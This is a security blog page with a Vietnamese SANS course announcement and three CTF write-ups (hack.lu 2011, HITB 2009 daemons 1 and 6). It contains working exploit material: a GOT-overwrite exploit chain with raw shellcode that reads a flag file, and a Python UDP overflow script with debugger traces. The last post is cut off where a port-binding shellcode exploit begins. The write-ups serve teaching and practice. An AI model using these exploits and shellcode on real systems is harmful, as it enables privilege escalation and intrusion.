Học viện SANS đến Việt Nam 03/2012

December 20, 2011 by suto · 1 Comment 

Những ai làm về lĩnh vực an toàn thông tin chắc đều biết đến học viện SANS như là một học viện hàng đầu thế giới về đào tạo an toàn thông tin. Học viện SANS, được thành lập từ năm 1989, đã đào tạo hơn 165,000 chuyên gia an toàn thông tin khắp nơi trên thế giới trong đó có những nhà quản lý an toàn thông tin cao cấp, chuyên gia đánh giá an ninh hay các quản trị viên hệ thống cho các tập đoàn hàng đầu thế giới hay các cơ quan an ninh chính phủ. Học viện SANS còn có một hệ thống tài liệu nghiên cứu khổng lồ về an toàn thông tin và điều hành trung tâm cảnh báo an ninh Internet.

Các chứng chỉ an toàn thông tin của học viện SANS được công nhận trên toàn thế giới và luôn được đánh giá là chứng chỉ hàng đầu về an toàn thông tin. Thông thường các khóa học của học viện SANS hàng năm diễn ra ở Mỹ, Châu Âu và một vài nước Châu Á. Việc học và thi chứng chỉ của SANS nói riêng hay các chứng chỉ quốc tế khác thường mất khá nhiều thời gian và tốn kém tại Việt nam. Như một bước khởi đầu cho việc đào tạo an toàn thông tin ở Việt nam, học viện SANS lần đầu tiên mở một khóa học SANS 560 về Kiểm Định An Toàn Thông Tin Mạng (“Network Penetration Testing and Ethical Hacking”) vào đầu năm 2012 tại thành phố Hồ Chí Minh.

Học viên sẽ được tổ chức thi chứng chỉ GIAC Penetration Tester (GIAC GPEN) tại chỗ. Đây là chứng chỉ uy tín nhất hiện nay dành cho chuyên gia an toàn thông tin trong việc kiểm định an toàn thông tin mạng.

Thời gian: Tháng 03, 2012
Địa điểm: The Fleminton Tower
182 Lê Đại Hành, Quận 11
Thành phố Hồ Chí Minh, Việt nam

Để đăng kí khóa học, xin vui lòng truy cập vào http://www.sans.org/mentor/details.php?nid=27046. SANS hiện có chương trình giảm giá cho các công ty, tổ chức về an toàn thông tin tại Việt nam cũng như các công ty đăng ký từ 02 học viên trở lên. Để có được mã giảm giá, xin vui lòng email thanh _AT_ vnsecurity.net  trước khi đăng ký.

Thông tin chi tiết hơn về khóa học có thể xem ở đây.

Thông tin tham khảo:

  1. http://force.vnsecurity.net/download/SANS-560-VN.pdf
  2. https://www.sans.org/security-training/network-penetration-testing-ethical-hacking-937-mid
  3. http://www.giac.org/certification/penetration-tester-gpen
  4. http://www.sans.org/mentor/details.php?nid=27046
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

hack.lu CTF 2011 nebula DB systems

September 22, 2011 by suto · 2 Comments 

Challenge Summary:

While you were investigating the Webserver of Nebula Death Stick Services, we, the Galactic’s Secret Service, put our hands on a SSH account of one of the Nebula Death Stick Services founders. This account directly leads to one of their Death Stick storage clusters. Therefore we instruct you with another mission: this time you will have to break their database systems in order to get higher privileges and find further infos about Nebula Corp. And again, may the force be with you!
User: nebulauser

Pass: nebulauser

Host: ctf.hack.lu

Port: 2008

After login to ctf.hack.lu server we get 4 files:
-nebula_db
-nebula_db_nosuid
_nebula_db.c
_hint

nebula_db is a file with suid(s) bits, when you execute that you have required permission to read the flag, nebula_db_nosuid is the file for testing and debuging purpose, nebula_db.c is source code of challenge, hint is tell you where is the flag stored.
So basically you need to execute nebula_db and some how try to alter execution flow to do some more thing for you ( read the flag ).
First things is try to spot the vuln by reading source code they provided:

/* Nebula Death Stick Services Database Management System
 * This Software has been written to keep track of our customers and their orders.
 * It is still in developement, but I'm pretty sure it's already stable enough for a safe maintenance.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DB_SIZE 256

char *db[DB_SIZE];

int edit_entry(char *choice, unsigned int entry)
{
        char edit[256], *ln;
        unsigned int len;

        if (atoi(choice) > entry - 1 || atoi(choice) < 0 || entry == 0)
                return -1;

        len = strlen(db[atoi(choice)]);

        printf("Enter your edit: ");
        fgets(edit, sizeof(edit) - 1, stdin);

        ln = strchr(edit, '\n');

        if (ln != NULL)
                *ln = '\0';

        strncpy(db[atoi(choice)], edit, len);

        return 0;
}

char *insert_new_order(unsigned int entry, char *name, char *amount)
{
        char sname[256], samount[256], *nl, *ptr;(3)
        int ret;

        nl = strchr(name, '\n');

        if (nl != NULL)
                *nl = '\0';

        nl = strchr(amount, '\n');

        if (nl != NULL)
                *nl = '\0';

        ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);

        if (ret == 0)
                return NULL;

        return ptr;
}

char *enter_new_order(unsigned int entry)
{
        char name[256], amount[256];

        printf("Enter a Name: ");
        fgets(name, sizeof(name) - 1, stdin);

        printf("Enter amount of Death Sticks: ");
        fgets(amount, sizeof(amount) - 1, stdin);

        if (atoi(amount) <= 0) {
                fprintf(stderr, "Insert a real amount please!\n");
                return NULL;
        }

        if (entry > DB_SIZE - 1) {
                fprintf(stderr, "Database already full!\n");
                return NULL;
        }

        return insert_new_order(entry, name, amount);

}

int print_database(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                printf("%s\n", db[i]);

        return 0;
}

int exit_free(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                free(db[i]);

        return 0;
}

int main(int argc, char **argv)
{
        char choice[256], *ret;
        unsigned int entry = 0, len, i;

        puts(
                "Nebula Database set up!\n"
                "Enter your choice of action:\n"
                "1 - Insert new order\n"
                "2 - Edit order\n"
                "3 - List orders\n"
                "4 - Exit\n"
        );

        while (1) {(4)
                printf("Your choice: ");
                fgets(choice, sizeof(choice) - 1, stdin);
                switch (atoi(choice)) {
                        case 1:
                        ret = enter_new_order(entry);

                        if (ret == NULL) {
                                fprintf(stderr, "Error inserting new order!\n");
                                break;
                        }

                        db[entry] = ret;
                        entry++;(2)
                        break;

                        case 2:
                        printf("Enter the ID of your order: ");
                        fgets(choice, sizeof(choice) - 1, stdin);

                        if (edit_entry(choice, entry) == -1)
                                fprintf(stderr, "That entry does not exist!\n");

                        break;

                        case 3:
                        print_database(entry);
                        break;

                        case 4:
                        return exit_free(entry);

                        default:
                        fprintf(stderr, "Option does not exist\n");
                }
        }

        return 0;
}

As they said, the challenge is a small db management, it save name and amount of orders in an array up to 256 record. You can add or edit a record.
So the funny part is:

  ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);
   if (ret == 0)
                return NULL;

And after reading manpages of asprintf, i figured out there is a problem when using it without fully understand what it returned, so return value indicate how many bytes it printed, and the funny part is when it failed, it will return -1 but programmer is not check for that case, they think when it will return 0 mean it failed.
It mean we can still increase entry value at (2) without create any new record. It basic will lead to double free memory corruption error. So next thing is try to figure out how to force asprintf return -1 ( or force it can’t alloc any memory ). After getting help from rd and xichzo, we found ulimit do the tricks:

suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 4
*** glibc detected *** ./n: double free or corruption (out): 0x08049118 ***
Aborted (core dumped)
suto@ubuntu:~$

After getting here, i see another way can lead to successful exploitation. When asprintf fail, it will use ptr(3) at a result for main program use to keep track a record, somehow we can make this ptr point to some where we want and edit_entry will take care the rest to write a value we control to that address(since ptr is use without initialized)
But i can’t find anyway to do that, so i thinking another solution.
And i wonder if when the first alloc failt, so it will use the original value of at that address. After some check i’m stuck cause i can’t not do anything without this default value.
I try some google in hopeless :p with keyword: “control uninitialized memory”
At the first resutls is:
http://drosenbe.blogspot.com/2010/04/controlling-uninitialized-memory-with.html

Another trick to control memory at the begining of process execution. Let’s check:

suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "A"*20000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
ERROR: ld.so: object '<A>*20000...
 from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 2
Enter the ID of your order: 0
Segmentation fault (core dumped)
suto@ubuntu:~$

So if this tricks work, we will have a write to address at 0×41414141.

(gdb) x/i $eip
=> 0xb764b706:  movdqu (%edi),%xmm1
(gdb) i r $edi
edi            0x41414141       1094795585
(gdb) bt
#0  0xb764b706 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x0804864c in edit_entry ()
#2  0x08048a04 in main ()

So this is all i want :p Next things is find some where to write, and i choose GOT section, first thing i trying is printf@GOT and using a hardcode address to return, and i stupid try to do that to the end of the game :(.
After that, thinking a little bit, i got another solution:
After the calling edit_entry ( where we can directly write to GOT section), program will return to while loop at (4) and continue execute, then i see a good candidate to overwrite is atoi, why? cause after fgets at (5) eax will point to our string, and we will use call *eax gadget to execute our shellcode.
And finally:

export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`

This will force program wirte to atoi@PLT and

suto@ubuntu:~$ objdump -d n | grep call | grep eax
 80485a8:       ff 14 85 08 90 04 08    call   *0x8049008(,%eax,4)
 80485ef:       ff d0                   call   *%eax
 8048b1b:       ff d0                   call   *%eax
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+"\x1b\x8b\x04\x08"*40+"\xcc"*400' > input
suto@ubuntu:~$ bash
suto@ubuntu:~$ ulimit -s unlimited
suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db < input
ERROR: ld.so: object from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Trace/breakpoint trap (core dumped)
.......
(gdb) x/20x $eip
0xbfa33571:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33581:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33591:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335a1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335b1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc

So you can replace \xcc with a shellcode to read the flag key file.
Here is my shellcode to read /home/suto/flag and write to /tmp/flag: ( assembly source)

char shellcode[] =
        "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41"
        "\xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3"
        "\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1"
        "\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0"
        "\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff"
        "\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67"
        "\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+  "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41       \xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3
\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1
\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0
\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff
\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67
\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";' > input
suto@ubuntu:~$./nebula_db < input
suto@ubuntu:~$cat /tmp/flag
hello

Finally,congratz to bobsleigh is the only team solved it.
Thanks fluzfinger team for a great ctf. See u guys in next year!

–suto–

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

HITB Daemon1 Solution

January 20, 2010 by suto · 1 Comment 

Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.

home suto # netstat -tulpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN   6174/daemon1

So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.

.text:080494F1                 push    eax
.text:080494F2                 call    _recv
.text:080494F7                 add     esp, 10h
.text:080494FA                 cmp     eax, 0
.text:080494FD                 jle     loc_80495D2
.text:08049503                 push    esi
.text:08049504                 push    eax
.text:08049505                 lea     esi, [ebp-538h]
.text:0804950B                 push    esi
.text:0804950C                 mov     ecx, [ebp-548h]
.text:08049512                 push    ecx
.text:08049513                 call    sub_804A2B0
.text:08049518                 mov     eax, offset aIcvykbmukcrwdp ; &quot;iCvYkBMuKcrwDPkAqmCFgOKVeV34&quot;
.text:0804951D                 mov     ecx, 1Ch
.text:08049522                 cld
.text:08049523                 mov     esi, [ebp-560h]
.text:08049529                 mov     edi, eax
.text:0804952B                 repe cmpsb
.text:0804952D                 setnbe  dl
.text:08049530                 setb    al
.text:08049533                 add     esp, 10h
.text:08049536                 cmp     dl, al
.text:08049538                 jnz     loc_80495FF
.text:0804953E                 call    sub_8048F10
.text:08049543                 push    0
.text:08049545                 sub     esp, 8
.text:08049548                 push    offset s
.text:0804954D                 call    _strlen
.text:08049552                 add     esp, 0Ch
.text:08049555                 push    eax
.text:08049556                 push    offset s
.text:0804955B
.text:0804955B loc_804955B:                            ; CODE XREF: .text:08049608j
.text:0804955B                 mov     edx, [ebp-548h]
.text:08049561                 push    edx
.text:08049562                 call    _send

And here is what sub_8048F10 does:

lea     edi, [ebp+var_40]
mov     esi, offset unk_80553D2
mov     ecx, edx
rep movsd
mov     ax, ds:word_80553EA
mov     [edi], ax
push    (offset aSocketError+0Bh) ; modes
push    offset filename ; &quot;/home/d1/errorcode.txt&quot;
call    _fopen
&lt;snip&gt;

The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.

home suto #nc localhost 4444

iCvYkBMuKcrwDPkAqmCFgOKVeV34

ddddddddddPfddddfdssqpfdddddddddhfh

“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).

After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.

Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh

Input: 2
Output: ddddddddddPfdddddfdssqpfhfh

Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh

Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh

==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.

9
ddddddddddPfdddddfdssqpfdddddddhfh

Next, we test with 2 numbers:

24
ddddddddddPfdddddfdssqpfhddhfh

3 numbers:

247
ddddddddddPfdddddfdssqpfhddhdddhfh

We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:

247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh

Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?

From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq

Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).

35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh

Why 3? You answer yourself !

Now we come back to special cases for number 1 and 0

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

The different parts are marked with Red color.

Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

35896742

ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.

Another test:

4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)

hd(5) hf(1)hs qq(3) hd(4) hffh

Now replace the number 1 with 0 from previous input:

ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)

hf(0)hsqq(3) hd(4)hffh

We see 0 is quite similar to 1 with one ‘d’ less.

Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.

And it’s all about daemon1 in HITB CTF 2009!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

HITB 2009 CTF Daemon6’s Solution

December 8, 2009 by suto · Leave a Comment 

This is the solution for daemon 06 of HITB 2009 CTF game. Note that I didn’t participate CLGT team at HITB 2009 CTF this year. I just played with the binaries after the conference to learn and practice myself.

For a short summary, daemon 06 is a SNMP Daemon listening on port 7272 with a basic buffer overflow bug in the SNMP packet handling function.

[snmpd v2.1] SNMP Daemon Started

Attempting to listen on port 7272..Ready

I started learning and reading some papers about SNMP protocol. Basically, SNMP packet follow basic encoding rules. The most fundamental rule states that each field is encoded in three parts: Type, Length, and Data.

  • Type specifies the data type of the field using a single byte identifier.
  • Length specifies the length in bytes of the following Data section
  • Data is the actual value communicated.

Next, I build a packet with a very large content and send to this daemon to check out for trivial overflow bug.

Type: 0×30 because it is a sequence of bytes
Length: 0xff ( to make largest packet as i can )
Data: I use a special string generate by Metasploit.

Here is script:

#!/usr/bin/python
from socket import *
import struct

host = "localhost"
port = 7272

shellcode="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A"

payload = "\x30\xff"+shellcode
sock = socket(AF_INET,SOCK_DGRAM)
sock.sendto(payload,(host,port))
sock.close()

After launching this script, I saw daemon6 got segfault.

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7e726c0 (LWP 23375)]

0x62413862 in ?? ()

(gdb)

So I change this string “b8Ab” in script to AAAA to re-check. And:

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7e726c0 (LWP 23385)]

0x41414141 in ?? ()

Now I can control execution flow of program and now is the time to find out what caused of this vuln. Launch IDA and search for all occurences of Recv

recv

Follow recvfrom function

.text:0804D610                 call    _recvfrom
.text:0804D615                 add     esp, 20h
.text:0804D618                 test    eax, eax
.text:0804D61A                 js      recvfromerror
.text:0804D620
.text:0804D620 loc_804D620:                            ; CODE XREF: .text:0804D870j
.text:0804D620                 push    ecx
.text:0804D621                 push    0FCh
.text:0804D626                 push    0
.text:0804D628                 push    ebx
.text:0804D629                 call    _memset
.text:0804D62E                 pop     eax
.text:0804D62F                 pop     edx
.text:0804D630                 push    ebx
.text:0804D631                 lea     eax, [ebp-0CB0h]
.text:0804D637                 push    eax
.text:0804D638                 call    sub_804CC90

Now I use GDB to check if function at 0×0804cc90 is vulnerable.

(gdb) b *0x0804D637
Breakpoint 1 at 0x804d637
(gdb) r
Starting program: /home/d6/daemon6
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
(no debugging symbols found)
[snmpd v2.1] SNMP Daemon Started
Attempting to listen on port 7272..Ready
[New Thread 0xb7dd26c0 (LWP 13501)]
[New Thread 0xb7d63b90 (LWP 13504)]
[Switching to Thread 0xb7dd26c0 (LWP 13501)]

Breakpoint 1, 0x0804d637 in ?? ()
(gdb) x/4i $eip
0x804d637 <difftime@plt+17679>:	push   %eax
0x804d638 <difftime@plt+17680>:	call   0x804cc90 <difftime@plt+15208>
0x804d63d <difftime@plt+17685>:	add    $0x10,%esp
0x804d640 <difftime@plt+17688>:	mov    0x805c1b0,%eax
(gdb) b *0x804d63d
Breakpoint 2 at 0x804d63d
(gdb) c
Continuing.
incorrect request

Program received signal SIGSEGV, Segmentation fault.
0x62413862 in ?? ()

Check arguments of this function:

(gdb) x/2x $esp
0xbfb43980:    0xbfb43998    0xbfb44278
(gdb) x/x 0xbfb43998
0xbfb43998:    0x6141ff30
(gdb) x/s 0xbfb43998
0xbfb43998:     "0�Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5"...
(gdb)

yes, this is my packet payload!

Here is the source of this function using Hexrays:

void *__cdecl sub_804CC90(const char *a1, int a2)
{
  int v3; // ST0C_4@6
  int v4; // ST10_4@6
  int v5; // ST14_4@6
  char s; // [sp+1Eh] [bp-1FEh]@1
  int v7; // [sp+20Ch] [bp-10h]@1
  char v8; // [sp+1E8h] [bp-34h]@1
  int v9; // [sp+118h] [bp-104h]@1
  int v10; // [sp+208h] [bp-14h]@1
  char src; // [sp+198h] [bp-84h]@5

  memset(&s, 0, 0xFAu);
  if ( sscanf(a1, "%d %s %s %s %d", &v7, &v8, &s, &v9, &v10) != 5 )
  {
    puts("incorrect request");
    return (void *)-1;
  }
  if ( v7 < 0 || v7 > 1 && v7 != 3 )
  {
    sub_804CBC0((int)&s, (int)&src);
LABEL_9:
    v5 = a2;
    v4 = (int)&v9;
    v3 = 2;
    goto LABEL_10;
  }
  if ( sub_804CBC0((int)&s, (int)&src) < 0 )
    goto LABEL_9;
  v5 = a2;
  v4 = (int)&v9;
  v3 = 0;
LABEL_10:
  sub_804CB30(&v8, v7, v10, v3, v4, v5);
  return memcpy((void *)(a2 + 44), &src, 0x50u);
}

sscanf seems to be a potential vulnerable. Lets try to break before and after this function to see different on stack :

Before:

(gdb) x/200x $esp
0xbfc352b0:	0xbfc35508	0x0805a300	0xbfc354d8	0xbfc354b4
0xbfc352c0:	0xbfc352ea	0xbfc353e4	0xbfc354d4	0xb7f27e78
0xbfc352d0:	0x00000001	0xb7f70fc4	0xb7f3f1b8	0x7972d654
0xbfc352e0:	0xbfc353b4	0xb7f5d999	0x000053a4	0x00000000
0xbfc352f0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35300:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35310:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35320:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35330:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35340:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35350:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35360:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35370:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35380:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc35390:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353a0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353d0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfc353e0:	0x00000000	0xb7f3bff4	0xb7d75b90	0xb7d754d0
0xbfc353f0:	0xbfc35458	0xb7f681e0	0xbfc35474	0xbfc35468
0xbfc35400:	0xb7d754d0	0xb7d75b90	0xbfc354b0	0xb7f71658
0xbfc35410:	0x080488cc	0xb7d754d0	0x00000000	0x00000000
0xbfc35420:	0xb7d75bd8	0xbfc3543c	0xb7d75bd8	0x00000001
0xbfc35430:	0xb7ded684	0xb7f37380	0xb7d75b90	0x00000006
0xbfc35440:	0xbfc354b8	0x00000001	0x00000081	0xb7f337d6
0xbfc35450:	0x00000000	0xb7d754b4	0xb7f3bff4	0xb7f2d4b6
0xbfc35460:	0x003d0f00	0xb7f2d080	0xb7f283d8	0xb7f3f000
0xbfc35470:	0xffffffff	0xffffffff	0xb7f70fc4	0xb7f71658
0xbfc35480:	0x08048620	0xbfc354c0	0xb7f62616	0xb7f71810
0xbfc35490:	0xb7f3f5b0	0x00000001	0x00000005	0x00000000
0xbfc354a0:	0x080488cc	0x00000000	0x0805c0dc	0x00000005
0xbfc354b0:	0xb7f283d8	0xbfc35de8	0xbfc35cd8	0xbfc35fe0
0xbfc354c0:	0xbfc361b8	0xb7f681e0	0xbfc361b8	0xbfc35de8
0xbfc354d0:	0xbfc361b8	0xb7f33e90	0xbfc35cd8	0xbfc35de8
0xbfc354e0:	0xbfc35cd8	0xbfc35fe0	0xbfc361b8	0x0804d63d

And after the overflow, lets see the value of char v8; // [sp+1E8h] [bp-34h]@1 is :

(gdb) x/20x $ebp-0x34
0xbfc354b4:	0x306141ff	0x41316141	0x61413261	0x34614133
0xbfc354c4:	0x41356141	0x61413661	0x38614137	0x41396141
0xbfc354d4:	0x62413062	0x32624131	0x41336241	0x62413462
0xbfc354e4:	0x36624135	0x41376241	0x62413862	0x30634139
0xbfc354f4:	0x41316341	0x63413263	0x34634133	0x41356341

/xff+”Aa0Aa1Aa…. -> is our string. So we can see sscanf() causes buffer overflow. We will stepi after sscanf and see:

(gdb) x/4i $eip
0x804cce9 <difftime@plt+15297>:	mov    $0xffffffff,%eax
0x804ccee <difftime@plt+15302>:	lea    -0xc(%ebp),%esp
0x804ccf1 <difftime@plt+15305>:	pop    %ebx
0x804ccf2 <difftime@plt+15306>:	pop    %esi
(gdb) stepi
0x0804ccee in ?? ()
(gdb) stepi
0x0804ccf1 in ?? ()
(gdb) x/4x $esp
0xbfdb7fbc:	0x41336241	0x62413462	0x36624135	0x41376241
(gdb) x/i $eip
0x804ccf1 <difftime@plt+15305>:	pop    %ebx
(gdb) stepi
0x0804ccf2 in ?? ()
(gdb) x/4i $eip
0x804ccf2 <difftime@plt+15306>:	pop    %esi
0x804ccf3 <difftime@plt+15307>:	pop    %edi
0x804ccf4 <difftime@plt+15308>:	pop    %ebp
0x804ccf5 <difftime@plt+15309>:	ret
(gdb) stepi
0x0804ccf3 in ?? ()
(gdb) stepi
0x0804ccf4 in ?? ()
(gdb) stepi
<p>Breakpoint 7, 0x0804ccf5 in ?? ()
(gdb) x/4x $esp
0xbfdb7fcc:	0x62413862	0x30634139	0x41316341	0x63413263
(gdb) x/i $eip
0x804ccf5 <difftime@plt+15309>:	ret
(gdb)

Now it will return on 0×62413862. It’s a basic buffer overflow!

And here is my exploit code (shellcode is a port-binding shellcode on port 4444):

